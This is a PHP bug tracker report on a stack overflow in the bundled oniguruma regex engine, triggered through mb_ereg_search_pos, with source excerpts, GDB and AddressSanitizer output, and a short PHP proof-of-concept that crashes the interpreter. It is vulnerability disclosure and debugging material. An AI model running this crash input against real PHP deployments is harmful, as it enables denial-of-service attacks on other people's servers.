php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #72970 Buffer overflow at match_at through mb_ereg_search_pos
Submitted: 2016-08-29 23:41 UTC Modified: 2020-11-26 15:35 UTC
From: fernando at null-life dot com Assigned: cmb (profile)
Status: Closed Package: mbstring related
PHP Version: 5.6.25 OS: *
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: fernando at null-life dot com
New email:
PHP Version: OS:

 

 [2016-08-29 23:41 UTC] fernando at null-life dot com
Description:
------------
"match_at" function uses "alloca" to reserve memory, big patterns at "mb_ereg_search_pos" cause buffer overflow, and ilegal access memory.

Source code 
https://github.com/php/php-src/blob/PHP-5.6.25/ext/mbstring/oniguruma/regexec.c#L1237

static int
match_at(regex_t* reg, const UChar* str, const UChar* end,
#ifdef USE_MATCH_RANGE_MUST_BE_INSIDE_OF_SPECIFIED_RANGE
     const UChar* right_range,
#endif
     const UChar* sstart, UChar* sprev, OnigMatchArg* msa)
{
  static UChar FinishCode[] = { OP_FINISH };

  int i, n, num_mem, best_len, pop_level;
...
  STACK_INIT(alloca_base, n, INIT_MATCH_STACK_SIZE);
  pop_level = reg->stack_pop_level;
  num_mem = reg->num_mem;
  repeat_stk = (OnigStackIndex* )alloca_base;

  mem_start_stk = (OnigStackIndex* )(repeat_stk + reg->num_repeat);
  mem_end_stk   = mem_start_stk + num_mem;
  mem_start_stk--; /* for index start from 1,
              mem_start_stk[1]..mem_start_stk[num_mem] */
  mem_end_stk--;   /* for index start from 1,
              mem_end_stk[1]..mem_end_stk[num_mem] */
  for (i = 1; i <= num_mem; i++) {
    mem_start_stk[i] = mem_end_stk[i] = INVALID_STACK_INDEX;
  }
...

https://github.com/php/php-src/blob/PHP-5.6.25/ext/mbstring/oniguruma/regexec.c#L1237

#define STACK_INIT(alloc_addr, ptr_num, stack_num)  do {\
  if (msa->stack_p) {\
    alloc_addr = (char* )xalloca(sizeof(char*) * (ptr_num));\
    stk_alloc  = (OnigStackType* )(msa->stack_p);\
    stk_base   = stk_alloc;\
    stk        = stk_base;\
    stk_end    = stk_base + msa->stack_n;\
  }\
  else {\
    alloc_addr = (char* )xalloca(sizeof(char*) * (ptr_num)\
               + sizeof(OnigStackType) * (stack_num));\
    stk_alloc  = (OnigStackType* )(alloc_addr + sizeof(char*) * (ptr_num));\
    stk_base   = stk_alloc;\
    stk        = stk_base;\
    stk_end    = stk_base + (stack_num);\
  }\
} while(0)



GDB output:

gdb -q --args /home/operac/build3/bin/php poc.php
No symbol table is loaded.  Use the "file" command.
Breakpoint 1 (__asan_report_error) pending.
Reading symbols from /home/operac/build3/bin/php...done.
gdb-peda$ r
Starting program: /home/operac/build3/bin/php test.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7
RBX: 0x1
RCX: 0x7ffffeff81a0
RDX: 0xc ('\x0c')
RSI: 0xffffe
RDI: 0x7fffff7f8190
RBP: 0x7fffffff9ea0 --> 0x7fffffffa0d0 --> 0x7fffffffa390 --> 0x7fffffffa430 --> 0x7fffffffa480 --> 0x7fffffffa6b0 (--> ...)
RSP: 0x7ffffeff81a0
RIP: 0xc3ab1e (<match_at+1470>: mov    QWORD PTR [rdi],0xffffffffffffffff)
R8 : 0xc280000128e --> 0x0
R9 : 0xfffffeff032 --> 0x0
R10: 0x0
R11: 0x7ffffeff81a0
R12: 0x7fffffff9e70 --> 0x7fffffff9eb0 --> 0x7fffffffa020 --> 0x0
R13: 0x7fffff7f8188
R14: 0x7fffed22f800 --> 0x230000134000130
R15: 0x7ffffeff8198
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xc3ab0c <match_at+1452>:    shr    r9,0x3
   0xc3ab10 <match_at+1456>:    cmp    BYTE PTR [r9+0x7fff8000],0x0
   0xc3ab18 <match_at+1464>:    jne    0xc57978 <match_at+119832>
=> 0xc3ab1e <match_at+1470>:    mov    QWORD PTR [rdi],0xffffffffffffffff
   0xc3ab25 <match_at+1477>:    mov    rdi,r11
   0xc3ab28 <match_at+1480>:    shr    rdi,0x3
   0xc3ab2c <match_at+1484>:    cmp    BYTE PTR [rdi+0x7fff8000],0x0
   0xc3ab33 <match_at+1491>:    jne    0xc57935 <match_at+119765>
[------------------------------------stack-------------------------------------]
Invalid $SP address: 0x7ffffeff81a0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000c3ab1e in match_at (reg=reg@entry=0x614000009440, str=str@entry=0x7fffef02f3a8 "Peter is a boy.", end=end@entry=0x7fffef02f3b7 "", right_range=right_range@entry=0x7fffef02f3b7 "",
    sstart=sstart@entry=0x7fffef02f3a8 "Peter is a boy.", sprev=<optimized out>, msa=0x7fffffffa020) at /home/operac/php-src-56/php-src/ext/mbstring/oniguruma/regexec.c:1280
1280        mem_start_stk[i] = mem_end_stk[i] = INVALID_STACK_INDEX;
gdb-peda$ p mem_start_stk[i]
Cannot access memory at address 0x7ffffeff81a0           // Invalid memory access
gdb-peda$ p  mem_end_stk[i]
Cannot access memory at address 0x7fffff7f8190           // Invalid memory acess
gdb-peda$ p *reg
$1 = {
  p = 0x7fffed22f800 "0\001",
  used = 0x5ffff5,
  alloc = 0x7ffff0, 
  state = 0x0,
  num_mem = 0xffffe,                                   // Num of ()
  num_repeat = 0x0,
  num_null_check = 0x0,
  num_comb_exp_check = 0x0,
  num_call = 0x0,
  capture_history = 0x0,
  bt_mem_start = 0x0,
  bt_mem_end = 0x0,
  stack_pop_level = 0x0,
  repeat_range_alloc = 0x0,
  repeat_range = 0x0,
  enc = 0x27bf9a0 <OnigEncodingUTF8>,
  options = 0xc,
  syntax = 0x27b9500 <OnigSyntaxRuby>,
  case_fold_flag = 0x40000000,
  name_table = 0x0,
  optimize = 0x0,
  threshold_len = 0x0,
  anchor = 0x0,
  anchor_dmin = 0x0,
  anchor_dmax = 0x0,
  sub_anchor = 0x0,
  exact = 0x0,
  exact_end = 0x0,
  map = '\276' <repeats 256 times>,
  int_map = 0x0,
  int_map_backward = 0x0,
  dmin = 0xbebebebe,
  dmax = 0xbebebebe,
  chain = 0x0
}


Test script:
---------------
<?php

mb_ereg_search_init("Peter is a boy.");
$v1=str_repeat("()", 0xffffe);
mb_ereg_search_pos($v1);



Expected result:
----------------
No crash

Actual result:
--------------

=================================================================
==12511==ERROR: AddressSanitizer: SEGV on unknown address 0x7ffdbf0500e0 (pc 0x000000c3ab1e bp 0x7ffdbf851df0 sp 0x7ffdbe8500f0 T0)
    #0 0xc3ab1d in match_at /home/operac/php-src-56/php-src/ext/mbstring/oniguruma/regexec.c:1280
    #1 0xc5e954 in onig_search /home/operac/php-src-56/php-src/ext/mbstring/oniguruma/regexec.c:3634
    #2 0xdf983d in _php_mb_regex_ereg_search_exec /home/operac/php-src-56/php-src/ext/mbstring/php_mbregex.c:1228
    #3 0xdf983d in zif_mb_ereg_search_pos /home/operac/php-src-56/php-src/ext/mbstring/php_mbregex.c:1290
    #4 0x1d6bc67 in zend_do_fcall_common_helper_SPEC /home/operac/php-src-56/php-src/Zend/zend_vm_execute.h:558
    #5 0x1c1773c in execute_ex /home/operac/php-src-56/php-src/Zend/zend_vm_execute.h:363
    #6 0x195afda in zend_execute_scripts /home/operac/php-src-56/php-src/Zend/zend.c:1341
    #7 0x16a889f in php_execute_script /home/operac/php-src-56/php-src/main/main.c:2613
    #8 0x1d749ef in do_cli /home/operac/php-src-56/php-src/sapi/cli/php_cli.c:994
    #9 0x4551b0 in main /home/operac/php-src-56/php-src/sapi/cli/php_cli.c:1378
    #10 0x7f4aa5fb482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #11 0x455838 in _start (/home/operac/build3/bin/php+0x455838)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/operac/php-src-56/php-src/ext/mbstring/oniguruma/regexec.c:1280 match_at

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-08-29 23:49 UTC] stas@php.net
-Type: Security +Type: Bug
 [2020-11-26 15:35 UTC] cmb@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: cmb
 [2020-11-26 15:35 UTC] cmb@php.net
This issue has been fixed in the meantime (at least for PHP 7.3;
oniguruma is unbundled as of PHP 7.4.0).  The script outputs now:

Warning: mb_ereg_search_pos(): mbregex compile err: too many captures in %s on line %d
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 13:01:29 2024 UTC